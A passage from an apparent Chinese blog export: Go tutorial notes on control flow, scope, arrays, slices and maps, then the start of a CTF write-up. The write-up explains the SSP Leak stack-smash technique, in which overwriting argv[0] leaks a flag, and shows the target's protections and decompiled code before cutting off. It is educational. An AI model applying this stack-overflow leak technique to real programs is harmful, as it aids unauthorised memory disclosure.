true\n\n比较比较运算符\n\n\n\n符号\n含义\n\n\n\n==\n相等\n\n\n!=\n不相等\n\n\n<\n小于\n\n\n<=\n小于等于\n\n\n>\n大于\n\n\n>=\n大于等于\n\n\n表中的运算符既可以比较文本,又可以比较数值。\n\n\n\n比较结果返回的是布尔值。\npackage mainimport ( "fmt")func main(){ var num=33 var age=num<10 fmt.Printf("%v是否小于10:%v(true/false)\\n",num,age)}//运行结果33是否小于10:false(true/false)\n\n\n使用if实现分支判断如下所示,计算机可以使用布尔值或者比较条件在if语句中选择不同的执行路径。\npackage mainimport ( "fmt")func main(){ var command="go" if command=="no"{ fmt.Println("1") }else if command=="go"{ fmt.Println("2") }else{ fmt.Println("3") }}//运行结果2\n\n这里要注意,else if 和 else 都要紧跟在前一个大括号后面,否则会报错。\nelse if语句和else语句都是可选的。当有多个分支路径可选时,可以重复使用else if直到满足需要为止。\n逻辑运算符基本都是编程语言通用的。\n\n\n\n符号\n含义\n\n\n\n||\n逻辑或\n\n\n&&\n逻辑与\n\n\n!\n逻辑非\n\n\npackage mainimport ( "fmt")func main(){ var num=1000 var bin=num>500 || (num/2==500 && num%100==10) if bin{ fmt.Println("真") }else{ fmt.Println("假") }}//运行结果真\n跟大多数编程语言一样,go也采用了短路逻辑:如果位于 || 运算符之前的第一个条件为真,那么位于 || 运算符之后的条件就可以被忽略,没有必要再对其进行求值。\n&& 运算符的行为与 || 运算符正好相反:只有在两个条件都为真的情况下,运算结果才为真。\n逻辑非运算符 ! 可以将一个布尔值从 false 变为 true,或者将 true 变为 false。\n使用switch实现分支判断go提供了 switch 语句,它可以将单个值和多个值进行比较。\npackage mainimport ( "fmt")func main(){ var command="b" //将命令和给定的多个分支进行比较 switch command { case "a": fmt.Println("a") //使用逗号分隔多个可选值 case "b","c": fmt.Println("b/c") //没有匹配的分支则执行 default: fmt.Println("d") }}\n\nswitch 语句的另一种用法是像 if…else 那样,在每个分支中单独设置比较条件。\nswitch 还拥有独特的 fallthrough 关键字,它可以用于执行下一个分支的代码。\n\n与 c 和 java 等编程语言不同,go的 switch 语句执行一个条件分支后默认是不执行下一行的\n\npackage mainimport ( "fmt")func main(){ var command="b" //比较表达式放置到单独的分支里 switch command { case "a": fmt.Println("a") case "b": fmt.Println("b") //下降至下一分支 fallthrough case "c": fmt.Println("c") default: fmt.Println("d") }}\n\n使用循环实现重复执行当需要重复执行同一段代码的时候,与一遍又一遍键入相同的代码相比,更好的办法是使用 for 关键字。\ngo语言是没有 while 循环关键字的,不过如下所示我们可以通过 for 关键字实现 while 循环。\n后面会讲解 for 关键字如何实现类似于C语言中的那种形式。\npackage mainimport ( "fmt")func main(){ var count=10 for count>0{ fmt.Println(count) count-- } fmt.Println("结束")}//运行结果10987654321结束\n\n在每次迭代开始之前,表达式 count>0 都会被求值并产生一个布尔值。当该值为 false也就是 count 变量等于 0 的时候,循环就会终止。反之,如果该值为真,那么程序将继续执行循环体,也就是被 { 和 } 包围的那部分代码。\n此外我们还可以通过不为 for 语句设置任何条件来产生无限循环,然后在有需要的时候通过在循环体内使用 break 语句来跳出循环。\npackage mainimport ( "fmt")func main(){ var count=10 for count>0{ fmt.Println(count) count++ if count>20{ break } } fmt.Println("结束")}//运行结果1011121314151617181920结束\n\n\n变量作用域审视作用域变量从声明之时开始就处于作用域当中,换句话说,变量就是从那时开始变为可见的。\n只要变量仍然存在于作用域当中,程序就可以访问它。然而在作用域之外访问变量就会报错。\n变量作用域的一个好处是我们可以为不同的变量复用相同的名字。因为除极少数小型程序之外,程序的变量几乎不可能不出现重名。\ngo 的作用域通常会随着大括号 {} 的出现而开启和结束。\n在下面的代码清单中,main函数开启了一个作用域,而for循环则开启了一个嵌套作用域\npackage mainimport (\t"fmt"\t"math/rand")func pmain(){\tvar count = 0\t//开启新的作用域\tfor count <10 {\t\tvar num = rand.Intn(10)+1\t\tfmt.Println(num)\t\tcount++\t}\t//作用域结束}\n\n因为对 count 变量的声明用于 main 函数的函数作用域之内,所以它在 main 函数结束之前将一致可见\n在循环结束之后访问num变量将会引发编译器报错。\n简短声明简短声明为 var 关键字提供了另一种备选语法。\n以下两行代码是完全等效的:\nvar count = 10 count := 10\n\n简短声明不仅仅是简化了声明语句,而且可以在无法使用 var 关键字的地方使用。\n如下例代码\n未使用简短声明\nvar count=0for count=10;count>0;count--{\tfmt.Println(count)}fmt.Println(count)\n在不使用简短声明的情况下,count 变量的声明必须被放置在循环之外,这意味着在循环解释之后 count 变量将继续存在于作用域。\n在for循环中使用简短声明\nfor count := 10; count > 0; count--{\tfmt.Println(count)}//随着循环结束,count变量将不再处于作用域之内\n\n简短声明还可以在 if 语句中声明新的变量\nif num := rand.Intn(3);num==0{\tfmt.Println("Space Adventures")}else if num ==1{\tfmt.Println("SpaceX")}else{\tfmt.Println("Virgin Galactic")}//随着if语句结束,变量将不再处于作用域之内\n\n在switch语句中使用\nswitch num := rand.Intn(10);num{case 0:\tfmt.Println("Space Adventures")case 1:\tfmt.Println("SpaceX")case 2:\tfmt.Println("Virgin Galactic")default:\tfmt.Println("Random spaceline #",num)}\n\n\n作用域的范围package mainimport {\t"fmt"\t"math/rand"}//era变量在整个包都是可用的,相当于全局变量var era="AD"func main(){\t//era变量和year变量都处于作用域之内\tyear := 2018\t//变量era、year和month都处于作用域之内\tswitch month := rand.Intn(12)+1;month{\tcase 2:\t//变量era、year、month和day都处于作用域之内\t\tday := rand.Intn(28)+1\t\tfmt.Println(era,year,month,day)\t\t//上面那个day和下面的day变量是全新声明的变量,跟上面生成的同名变量并不相同\tcase 4,6,9,11:\t\tday := rand.Intn(30)+1\t\tfmt.Println(era,year,month,day)\tdefault:\t\tday := rand.Intn(31)+1\t\tfmt.Println(era,year,month,day)\t}//month变量和day变量不再处于作用域之内}//year变量不再处于作用域之内\n因为对 era 变量的声明位于 main 函数之外的包作用域中,所以它对于 main 包中的所有函数都是可见的。\n\n注意:因为包作用域在声明变量时不允许使用简短声明,所以我们无法在这个作用域中使用\n\n后言\n参考书籍:Go语言趣学指南参考课程:Go语言编程快速入门(Golang)\n\n","categories":["编程"],"tags":["Go"]},{"title":"Go chapter4","url":"/2024/10/25/program/go/go-chapter4/","content":"劳苦功高的数组声明数组并访问其元素以下数组不多不少正好包含 8 个元素\nvar planets [8]string\n同一个数组中的每个元素都具有相同的类型,比如以上代码就是由 8 个字符串组成,简称字符串数组。\n数组的长度可以通过内置的 len 函数确定。在声明数组时,未被赋值的元素将包含类型对应的零值。\nvar planets [8]stringfmt.Println(len(planets))fmt.Println(planets)//运行结果8[ ]\n\n小心越界包含 8 个元素的数组的合法索引为 0 至 7。go 编译器在检测到对越界数组的访问时会报错。\n另外如果 go 编译器在编译时未能发现越界错误,那么程序将在运行时出现惊恐(错误)。\n\n惊恐:运行时错误\n\n错误会导致程序崩溃。\n使用复合字面量初始化数组复合字面量是一种使用给定值对任意复合类型实施初始化的紧凑语法。与先声明一个数组然后再一个接一个地为它的元素赋值相比,go 语言的复合字面量语法允许我们在单个步骤里面完成声明数组和初始化数组这两项工作。\ndwarfs := [5]string{"ceres","pluto","haumea","makemake","eris"}\n这段代码中的大括号 {} 包含了 5 个用逗号分隔的字符串,它们将被用于填充新创建的数组。\n在初始化大型数组时,将复合字面量拆分成至多个行可以让代码变得更可读。为了方便,你还可以在复合字面量里面使用省略号...而不是具体的数字作为数组长度,然后让 go 编译器为你计算数组元素的数量。需要注意的是,无论使用哪种方式初始化数组,数组的长度都是固定的。\nplanets := [...]string{\t"Mercury",//让go编译器计算数组元素的数量\t"Venus",\t"Earth",\t"Mars",\t"Jupiter",\t"Saturn",\t"Uranus",\t"Neptune",//结尾的逗号是必需的,不能省略}\n\n迭代数组迭代数组中各个元素的做法与迭代字符串中各个字符的做法非常类似。\ndwarfs := [5]string{"Ceres","Pluto","Haumea","Makemake","Eris"}for i:=0;i<len(dwarfs);i++{\tdwarf := dwarfs[i]\tfmt.Println(i,dwarf)}//运行结果0 Ceres1 Pluto2 Haumea3 Mkaemake4 Eris\n使用关键字range可以取得数组中每个元素的对应的索引和值,这种迭代方式使用的代码更少并且更不容易出错。\ndwarfs := [5]string{"Ceres","Pluto","Haumea","Makemake","Eris"}for i,dwarf := range dwarfs{\tfmt.Println(i,dwarf)}//运行结果0 Ceres1 Pluto2 Haumea3 Mkaemake4 Eris\n\n注意:如果你不需要 range 提供的索引变量,那么可以使用空白标识符(下划线)来省略它们\n\n数组被复制无论是将数组赋值给新的变量还是将它传递给函数,都会产生一个完整的数组副本。\nplanets := [...]string{\t"Mercury",\t"Venus",\t"Earth",\t"Mars",\t"Jupiter",\t"Saturn",\t"Uranus",\t"Neptune"}planetsMark := planets//复制planets数组planets[2]="whoops"//修改数组元素fmt.Println(planets)//打印planets数组fmt.Println(planetsMark)//打印planetsMark//运行结果[Mercury Venus whoops Mars Jupiter Saturn Uranus Neptune][Mercury Venus Earth Mars Jupiter Saturn Uranus Neptune]\n因为数组也是一种值,而函数通过传递值接受参数,所以代码清单中的 terraform 函数将非常低效。\npackage mainimport "fmt"//terraform不会产生任何实际效果func terraform(planets [8]string){\tfor i :=range planets{\t\tplanets[i]="New"+planets[i]\t}}func main(){\tplanets := [...]string{\t\t"Mercury",\t\t"Venus",\t\t"Earth",\t\t"Mars",\t\t"Jupiter",\t\t"Saturn",\t\t"Uranus",\t\t"Neptune",\t}\tterraform(planets)\tfmt.Println(planets)}//运行结果[Mercury Venus Earth Mars Jupiter Saturn Uranus Neptune]\n由于 terraform 函数操作的是 planets 数组的副本,因此函数内部对数组的修改将不会影响 mian 函数中的 planets 数组。\n除此之外,我们还需要意识到数组的长度实际上也是数组类型的一部分,这一点非常重要。例如,虽然[8]string类型和[5]string类型都属于字符串收集器,但它们实际上是不同的类型。尝试传递长度不相符的数组作为参数将导致go编译器报错:\ndwarfs :=[5]string{"Ceres","Pluto","Haumea","Makemake","Eris"}terraform(dwarfs)//只能接受 [8]string 类型的 terraform 函数无法使用 [5]string 类型的 dwarfs 作为实参\n基于上述原因,函数一般使用切片而不是数组作为形参。\n由数组组成的数组我们除可以定义字符串数组之外,还可以定义整数数组、浮点数数组甚至数组的数组(嵌套数组或叫二维数组)。\nvar board [8][8]string//一个8x8嵌套数组,其中内层数组的每个元素都是一个字符串board[0][0]="r"board[0][7]="r"//将r放置到[行][列]指定的坐标上for column := range board[1]{\tborad[1][column]="p"}fmt.Print(board)\n\n\n切片:指向数组的窗口切分数组通过切分数组创建切片需要用到半开区间。\nplanets := [...]string{\t"mercury",\t"venus",\t"earth",\t"mars",\t"jupiter",\t"saturn",\t"uranus",\t"neptune",}terrestrial := planets[0:4]gasGiants := planets[4:6]iceGiants := planets[6:8]fmt.Println(terrestrial,gasGiants,iceGiants)//运行结果[Mercury Venus Earth Mars] [Jupiter Saturn] [Uranus Neptune]\n虽然 terrestrial、gasGiants 和 iceGiants 都是切片,但我们还是可以像数组那样根据索引获取切片中的指定元素:\nfmt.Println(gasGiants[0])//打印出jupiter\n我们除可以创建数组的切片之外,还可以创建切片的切片。\ngiants := planets[4:8]gas := giants[0:2]ice := giants[2:4]fmt.Println(giants,gas,ice)//运行结果[Jupiter Saturn Uranus Neptune] [Jupiter Saturn] [Uranus Neptune]\n无论是 terrestial、gasGiants、iceGiants、giants、gas还是ice,它们都是同一个 planets 数组的视图::jjk,对切片中的任意一个元素赋予新的值都会导致 planets 数组发生变化,而这一变化同样会见诸指向 planets 数组的其他切片:\niceGiantsMarkII := iceGiantsiceGiants[1]="Poseidon"fmt.Println(planets)fmt.Println(iceGiants,iceGiantsMarkII,ice)//运行结果[Mercury Venus Earth Mars Jupiter Saturn Uranus Poseidon][Uranus Poseidon] [Uranus Poseidon] [Uranus Poseidon]\n\n切片的默认索引\n在切分数组创建切片的时候,省略半开区间中的起始索引表示使用数组的起始位置作为索引,而省略半开区间的结束索引则表示使用数组的长度作为索引。这种做法使得我们可以把上面代码清单中的切分操作修改为如下形式\nterrestrial := planets[:4]gasGiants := planets[4:6]iceGiants := planets[6:]\n\n注意:切片的索引不能是负数\n\n除单独省略起始索引或者结束索引之外,我们还可以同时省略这两个索引。\n下面就是数组全部内容的切片。\nall:=planets[:]\n\n\n切分字符串\n\n切分数组的创建切片的语法也可以用于切分字符串\nneptune := "Neptune"tune := neptune[3:]fmt.Println(tune)//运行结果tune\n切分字符串将创建另一个字符串。不过为 neptune 变量赋予新值并不会改变 tune 变量的值,反之亦然。\nneptune="Poseidon"fmt.Println(tune)//运行结果tune\n另外需要注意的是,在切分字符串时,索引代表的是字节号码而非符文号码\nquestion := "come eatas?"fmt.Println(question[:6])//运行结果come e\n\n切片的复合字面量go语言的许多函数都倾向于使用切片而不是数组作为输入。如果你需要一个跟底层数组具有同样元素的切片,那么其中一种方法就是声明数组然后使用[:]对其进行切分,就像这样:\ndwarfArray := [...]string{"Ceres","Pluto","Haumea","Makemake","Eris"}dwarfSlice :=dwarfArray[:]\n切分数组并不是创建切片的唯一方法,我们还可以选择直接声明切片。与声明数组时需要在方括号内提供数组长度或者使用省略号不一样,声明切片不需要在方括号内提供任何值。\n例如,如果我们想要声明一个字符串切片,那么只需要使用[]string作为类型即可。\ndwarfs := []string{"Ceres","Pluto","Haumea","Makemake","Eris"}\n直接声明的切片仍然会有相应的底层数组。以上面代码为例,go首先会在内部一个包含5个元素的数组,然后再创建一个能够看到数组所有元素的切片。\n切片的威力package mainimport ( "fmt" "strings")func hyperspace(worlds []string){ for i:= range worlds{ //返回字符串参数的切片,删除所有前导和尾随空格 worlds[i]=strings.TrimSpace(worlds[i]) }}func main(){ planets :=[]string{"Venus","Earth","Mars"} hyperspace(planets) //Join函数是go中用于将多个字符串连接为一个字符串的函数 //第一个参数为字符串切片,第二个参数为分隔符 fmt.Println(strings.Join(planets,"")) //最终打印出VenusEarthMars}\nworlds 和 planets 都是切片,并且前者还是后者的副本,但是它们都指向相同的底层数组。\n如果 heperspace 函数想要修改的是 worlds 切片的指向,无论是指向开头还是结尾,这些修改都不会对 planets 切片产生任何影响。但由于 hyperspace 函数能够访问 worlds 指向的底层数组并修改其包含的元素,因此这些修改将见诸同一数组的其他切片。\n切片比数组通用的另一个地方在于,切片虽然也有长度,但这个长度与数组的长度不一样,它不是类型的一部分。基于这个原因,你可以将任意长度的切片传递给 hyperspace 函数:\ndwarfs :=[]string{"Ceres","Pluto"}hyperspace(dwarfs)\ngo 语言的使用者很少会直接使用数组,它们更愿意使用更为通用的切片,特别是在向函数传递实参的时候。\n带有方法的切片我们可以在 go 语言中声明底层为切片或者数组的类型,并为其绑定相应的方法。跟其他语言的类(class)相比,go语言在类型之上声明方法的能力五一更为通用。\n例如,标准库的 sort 包声明了一种 StringSlice 类型:\ntype StringSlice []string\n并且该类型还有关联的 Sort 方法:\nfunc (p StringSlice) Sort()\n\n为了按照字符顺序对数组进行排序,代码清单首先会将 planets 数组转换为 sort.StringSlice 类型,然后再调用相应的 Sort 方法:\npackage mainimport (\t"fmt"\t"sort")func main(){\tplanets := []string{\t\t"Mercury","Venus","Earth","Mars",\t\t"Jupiter","Saturn","Uranus","Neptune",\t}\tsort.StringSlice(planets).Sort\tfmt.Println(planets)}//运行结果[Earth Jupiter Mars Mercury Neptune Saturn Uranus Venus]\n为了进一步简化上述操作,sort 包提供了 Strings 辅助函数,它会自动执行所需的类型转换并调用 Sort 方法:\nsort.Strings(planets)\n\n更大的切片append函数通过内置的 append 函数,我们可以将更多元素添加到 dwarfs 切片里面。\ndwarfs := []string{"Ceres","Pluto","Haumea","Makemake","Eris"}dwarfs = append(dwarfs,"Orcus")fmt.Println(dwarfs)//运行结果[Ceres Pluto Haumea Makemake Eris Orcus]\n和 Println 一样,append 也是一个可变参数函数,因为我们可以一次向切片追加多个元素:\ndwarfs=append(dwarfs,"Salacia","Quaoar","Sedna")fmt.Println(dwarfs)//运行结果[Ceres Pluto Haumea Makemake Eris Orcus Salacia Quaoar Sedna]\n为了弄清楚这一切是如何实现的,我们必须先弄懂容量和内置的 cap 函数。\n长度和容量切片中可见元素的数量决定了切片的长度。如果切片底层的数组比切片大,那么我们就说该切片还有容量可供增长。\n代码清单声明的函数能够打印出切片的长度和容量。\nlen 函数用于获取切片长度,cap 函数用于获取切片容量\npackage mainimport "fmt"//dump函数会打印出切片的长度、容量和内容func dump(label string,slice []string){\tfmt.Printf("%v:length %v,capacity %v %v\\n",label,len(slice),cap(slice),slice)}func main(){\tdwarfs := []string{"Ceres","Pluto","Haumea","Makemake","Eris"}\tdump("dwarfs",dwarfs)\tdump("dwarfs[1:2]",dwarfs[1:2])}//运行结果dwarfs:length 5 capacity 5 [Ceres Pluto Haumea Makemake Eris]dwarfs[1:2]:length 1 capacity 4 [Pluto]\n根据打印结果可知,dwarfs[1:2]创建的切片虽然长度只有 1,但它的容量却足以容纳 4 个元素。\n详解 append 函数下列代码展示了 append 函数对切片容量的影响\ndwarfs1 :=[]string{"Ceres","Pluto","Haumea","Makemake","Eris"}//长度为5,容量为5dwarfs2 :=append(dwarfs1,"Orcus")//长度为6,容量为10dwarfs3 :=append(dwarfs2,"Salacia","Quaoar","Sedna")//长度为9,容量为10\n如上,由于支撑 dwarfs1 切片的底层数组没有足够的空间(容量)执行追加 “Orcus” 的操作,因此 append 函数将把 dwarfs1 包含的元素复制到新分配的数组里面。新数组的容量是原数组的两倍,其中额外分配的容量将为后续可能发生的 append 操作提供空间。\n为了证明 dwarfs1 与 dwarfs2 和 dwarfs3 指向的是两个不同的数组,我们可以修改这两个数组中的任意一个元素,然后打印这 3 个切片。\npackage mainimport ( "fmt")func main(){ dwarfs1:=[]string{"Ceres","Pluto","Haumea","Makemake","Eris"} dwarfs2:=append(dwarfs1,"Orcus") dwarfs3:=append(dwarfs2,"Sqlacia","Quaoar","Sedna") dwarfs3[0]="Pluto" fmt.Println("dwarfs1",len(dwarfs1),cap(dwarfs1),dwarfs1) fmt.Println("dwarfs2",len(dwarfs2),cap(dwarfs2),dwarfs2) fmt.Println("dwarfs3",len(dwarfs3),cap(dwarfs3),dwarfs3)}//运行结果dwarfs1 5 5 [Ceres Pluto Haumea Makemake Eris]dwarfs2 6 10 [Pluto Pluto Haumea Makemake Eris Orcus]dwarfs3 9 10 [Pluto Pluto Haumea Makemake Eris Orcus Sqlacia Quaoar Sedna]\n\n三索引切分操作go 语言在 1.2 版本引入了能够限制新建切片容量的三索引切分操作。新创建的 terrestrial 切片的长度和容量都为 4,对其追加 Ceres 将导致 terrestrial 指向新分配的数组,而 terrestrial 原来指向的数组(也就是 planets仍在指向的数组)将不会发生任何变化。\nplanets := []string{\t"Mercury","Venus","Earth","Mars",\t"Jupiter","Saturn","Uranus","Neptune",}terrestrial := planets[0:4:4]//长度为4,容量为4worlds := append(terrestrial,"Ceres")fmt.Println(planets)fmt.Println(worlds)//打印出[Mercury Venus Earth Mars Jupiter Saturn Uranus Neptune][Mercury Venus Earth Mars Ceres]\n相反,如果我们在执行切片操作时没有指定第 3 个索引,那么 terrestrial 的容量将为 8,并且也不会因为追加 Ceres 而分配新的数组,而是会覆盖原数组中的 Jupiter:\nterrestrial=planets[0:4]//长度为4,容量为8worlds=append(terrestrial,"Ceres")fmt.Println(planets)fmt.Println(worlds)//运行结果[Mercury Venus Earth Mars Ceres Saturn Uranus Neptune][Mercury Venus Earth Mars Ceres]\n如果覆盖 Jupiter 并非你想要的行为,那么你就应该在创建切片的时候使用三索引切片操作。\n使用make函数对切片实行预分配当切片的容量不足以执行 append 操作时,go 必须创建新数组并复制旧数组中的内容。但是通过内置的 make 函数对切片进行预分配策略,我们可以尽量避免额外的内存分配和数组复制操作。\nmake函数分别指定了 0 和 10 作为 dwarfs 切片的长度和容量,从而使改切片可以追加 10 个元素。在 dwarfs 切片被填满之前,append 函数将不需要为其分配任何新数组。\nfunc main(){\t//创建了一个长度为0,容量为10的切片\t//如果make函数只有两个参数,那么他的第二个参数表示长度和容量\tdwarfs := make([]string,0,10)}\nmake 函数的容量参数是可选的。执行语句 make([]string,10) 将创建长度和容量都为 10 的切片,其中每个切片元素都包含一个与类型对应的零值,也就是一个空字符串。对于这种包含零值元素的切片,执行 append 函数将向切片追加第 11 个元素。\n声明可变参数函数为了声明 Printf 和 append 这样能够接受可变数量的实参的可变参数函数,我们需要在改函数的最后一个形参前面加上省略号...。\npackage mainimport "fmt"//可变参数为字符串类型的切片func terraform(prefix string,worlds ...string)[]string{\tnewWorlds := make([]string,len(worlds))//创建新的切片而不是直接修改 worlds\tfor i:=range(worlds){\t\tnewWorlds[i]=prefix+""+worlds[i]\t}\treturn newWorlds}\nworlds 形参是一个字符串切片,它包含传递给 terraform 函数的零个或多个实参:\ntwoWorlds:=terraform("New","Venus","Mars")fmt.Println(twoWorlds)\n通过省略号可以展开切片中的多个元素,并将它们用作传递给函数的多个实参:\nplanets := []string{"Venus","Mars","Jupiter"}newPlanets := terraform("New",planets...)fmt.Println(newPlanets)\n如果 terraform 函数直接修改或者改变(mutate)worlds 形参中的元素,那么这些修改将见诸 planets 切片,但是 terraform 函数通过使用 newWorlds 切片避免了这一点。\n无所不能的映射go 提供了一种名为映射的(map)的收集器,它可以将键映射至值,并帮助你快速找到指定的元素。与数组和切片使用序列整数作为索引的做法不同,映射的键几乎是任何类型。\n\n映射收集器在不同编程语言中通常都具有不同的名称:Python 将其称为字典,Ruby 将其称为散列,而 JavaScript 则将其称为对象。PHP 对它的叫法是关联数组,至于 Lua 的表则可以同时充当映射和传统的数组。\n\n声明映射\n代码中声明的映射在声明和初始化的时候还跟其它收集器一样使用了复合字面量。对于映射中的每个元素,我们都需要根据它们的类型给定正确的键(key)和值(value),然后通过方括号[]执行诸如按键查值、使用新值覆盖旧值以及为映射添加新值等操作。\npackage mainimport "fmt"func main(){\t//声明map\t//声明一个string类型,返回值为int类型的map\ttemp:=map[string]int{\t\t"Earth":15,\t\t"Mars":-65,\t}\t//通过key获取对应value的值\tt := temp["Earth"]\t//修改key对应的value\ttemp["Earth"]=30\t//如果映射中没有对应的键,则会返回零值\tmoon:=temp["Moon"]}\n\n\n\n为了区分 “键Moon不存在映射中” 和 “键Moon存在于映射中并且它的值为0” 这两种情况,go语言提供了 “逗号与ok” 语法:\n\n//如果这个key存在与map,则ok的值为true//如果ok的值为true,则执行后面的语句if moon,ok:=temp["Moon"];ok{\tfmt.Printf("On average the moon is %v",moon)}else{\tfmt.Println("Where is the moon?")}\n这样以来,变量 moon 将继续包含键 “Moon” 的值或者零值,至于额外的 ok 变量则会在键 “Moon” 存在时被设置为 true,并在键 “Moon” 不存在时被设置为 false。\n\n在使用逗号与 ok 语法时,你可以使用自己喜欢的任何名字命名第二个变量,并不是非得用 ok 不可\n\ntemp,found:=temperature["Venus"]\n\n映射不会被复制\nmap不会被复制\n\n数组、int、float64 等基本类型在赋值给新变量或传递至函数/方法的时候会创建相应的副本,但map不会\n\ndelete函数\n\nmap共享相同的底层数据,修改这两者中的任何一个都将导致另一个发送变化。\nplanets := map[string]string{\t"Earth":"Sector ZZ9",\t"Mars":"Sector ZZ9",}planets2:=planetsplanets["Earth"]="whoops"fmt.Println(planets)fmt.Println(planets2)delete(planets,"Earth")fmt.Println(planets2)//运行结果map[Earth:whoops Mars:Sector ZZ9]map[Earth:whoops Mars:Sector ZZ9]map[Mars:Sector ZZ9]\n如代码所示,在使用内置的 delete 函数将映射从映射中移除之后,planets 和 planets2 都会受到相应的影响。与此类似,如果我们将映射传递给函数或者方法,那么映射的内容就有可能被修改。这种行为就跟多个切片同时指向相同的底层数组类似。\n使用make函数对映射实行预分配除非你使用复合字面值来初始化 map,否则必须使用内置的 make 函数来为 map 分配空间。\n创建 map 时,make 函数可接受一个或两个参数,第二个参数用于为指定数量的键预先分配空间,就像分配切片的容量一样。\n使用 make 函数创建的 map 的初始长度为 0。\nfunc main(){\ttemp:=make(map[float64]int,8)}\n\n使用映射进行计数利用映射键的唯一性对切片进行计数。\nfunc main(){ temp:=[]int{ 28,32,-31,29,28,-33, } fre:=make(map[int]int) for _,t:=range temp{ fre[t]++ } for t,num:=range fre{ fmt.Printf("%v %d \\n",t,num) }}//运行结果28 232 1-31 129 1-33 1\n使用关键字 range 迭代映射的方法跟我们之前看到过的迭代切片以及数组的方法非常相似,不同的地方在于,range 在每次迭代时提供的将不再是索引和值,而是键和值。需要注意的是,go 在迭代映射时并不保证键的顺序,因此,同样的映射在进行多次迭代时可能会产生不同的输出。\n使用映射和切片实现数据分组利用映射和切片对数据进行奇偶数进行分组\npackage mainimport ( "fmt")func main(){ temp:=[]int{3,5,6,8,12,11,15,13,}\tgroups := make(map[string][]int) for _,num:=range temp{ if num%2==0{ groups["even"]=append(groups["even"],num) }else{ groups["odd"]=append(groups["odd"],num) } } fmt.Println("odd number",groups["odd"]) fmt.Println("even number",groups["even"])}//运行结果odd number [3 5 11 15 13]even number [6 8 12]\n\n将映射用作集合集合这种收集器与数组非常相似,唯一的区别在于,集合保证其中的每个元素只会出现一次。虽然 go 语言没有直接提供集合搜集器,但我们总是可以像代码展示的那样,使用映射临时拼凑出一个集合。对被用作集合的映射来说,键的值通常并不重要,但是为了便于检查集合成员关系,键的值通常会被设置为 true。\npackage mainimport ( "fmt" "sort")func main(){ var temp=[]int{ 10,23,43,65,34,45,12, } set:=make(map[int]bool) for _,t:=range temp{ set[t]=true } //如果值为true,则相应的数存在于集合中 if set[10]{ fmt.Println("set number") } fmt.Println(set) un:=make([]int,0,len(set)) for t:=range set{ un=append(un,t) } sort.Ints(un) fmt.Println(un)}//运行结果set numbermap[10:true 12:true 23:true 34:true 43:true 45:true 65:true][10 12 23 34 43 45 65]\n\n后言\n参考书籍:Go语言趣学指南参考课程:Go语言编程快速入门(Golang)\n\n","categories":["编程"],"tags":["Go"]},{"title":"SSP Leak","url":"/2024/11/01/pwn/bypass/ssp/","content":"原理简介Stack Smashing Protector (SSP) 是一种防范栈溢出漏洞的机制,最初在1998年由 StackGuard 引入 GCC。后来,RedHat 将其发展为 ProPolice,提供了 -fstack-protector 和 -fstack-protector-all 编译选项。SSP 的核心目标是检测栈上的 canary 值是否被篡改,从而增强程序的安全性。\nSSP Leak 则是利用 SSP 机制进行攻击的一种技术。通过破坏 canary 值,攻击者可以触发程序的异常处理流程,并利用该过程泄露信息。\n在CTF Wiki中将这种利用技术称为 Stack Smash,并将其归类为花式栈溢出的一部分。这表明,SSP Leak 是栈溢出攻击的一种高级形式。\nSSP工作原理\n插入canary\n\n将canary插入栈中,一般通过fs/gx寄存器来获取4字节(32位)或8字节(64位)的值,这就是canary值,然后将其插入到栈上与rbp相邻的位置。\n该值在函数执行前和返回时都会被检查。\n.text:0000000000401205 mov rax, fs:28h.text:000000000040120E mov [rbp+var_8], rax\n\n\n校验canary\n\n程序在结束时会从栈上读取canary的值,然后与保存的值进行比较,如果不相等(即被篡改)就调用__stack_chk_fail函数处理。\n.text:00000000004012CE mov rcx, [rbp+var_8].text:00000000004012D2 xor rcx, fs:28h.text:00000000004012DB jz short locret_4012E2.text:00000000004012DD call ___stack_chk_fail\n\n\n__stack_chk_fail() 函数\n\n__stack_chk_fail函数在canary被篡改后调用,它会输出一串错误信息并终止程序。\n输出错误信息时,会打印 argv[0] 的指针所指向的字符串。通常,这个指针指向程序的名称。如果能够控制 argv[0]的值,就有可能泄露敏感信息。\n\n__stack_chk_fail()函数的源代码\n\n//__attribute__((noreturn))表示该函数不会返回,调用它后程序将终止void __attribute__((noreturn)) __stack_chk_fail(void) {\t//调用函数并传递一个错误消息 __fortify_fail("stack smashing detected");}void __attribute__((noreturn)) internal_function __fortify_fail(const char *msg) { while (1) {\t //输出传入的错误消息,以及argv[0]指向的程序名,如果argv[0]为空,则打印unknown __libc_message(2, "*** %s ***: %s terminated\\n", msg, __libc_argv[0] ? : "<unknown>"); }}\n\nSPP Leak 技术前面我们提到过,可以通过控制argv[0]的值来泄露数据,而SSP Leak就是这样的一种利用技术。通常用于绕过canary保护,在CTF比赛中题型比较固定。\n\n栈溢出\n\n通过栈溢出覆盖缓冲区时,会连带覆盖 canary 值。\n\n触发错误\n\n当程序检测到 canary 被修改时,它会调用 __stack_chk_fail() 函数,导致程序终止并输出错误信息。\n\n泄露信息\n\n我们可以通过栈溢出将 argv[0] 覆盖成为一个指针,然后在错误信息中就可以打印出我们想要的信息。\n\n注:libc-2.25启用了一个新的函数__fortify_fail_abort(),试图对该泄露问题进行修复,函数的第一个参数问问false时,将不再进行栈回溯,而是直接打印出字符串 <unkonwn>,那么也就无法再进行Leak。\n\n例题[HNCTF 2022 WEEK3]smash根据题目名称就可以猜测是要我们通过 smash 的方式利用了\n\n查保护\n\n发现除了PIE保护,其它保护全开。\n➜ smash checksec ./smash Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x3fe000)\n\n\n分析\n\n分析程序main函数\n程序利用open打开了一个叫flag的文件,然后将flag的内容读取到了bss段变量buf上。\nint __fastcall main(int argc, const char **argv, const char **envp){ int fd; // [rsp+Ch] [rbp-114h] char v5[264]; // [rsp+10h] [rbp-110h] BYREF unsigned __int64 v6; // [rsp+118h] [rbp-8h] v6 = __readfsqword(0x28u); setbuf(stdin, 0LL); setbuf(stderr, 0LL); setbuf(stdout, 0LL); fd = open("flag", 0); if ( !fd ) { puts("Open Err0r."); exit(-1); } read(fd, &buf, 0x100uLL); puts("Good Luck."); gets(v5); return 0;}\n\n查看buf变量\n.bss:0000000000404060 buf db ? ; ; DATA XREF: main+A0↑o.bss:0000000000404061 db ? ;.bss:0000000000404062 db ? ;.bss:0000000000404063 db ? ;\n\n我们可以通过 SSP 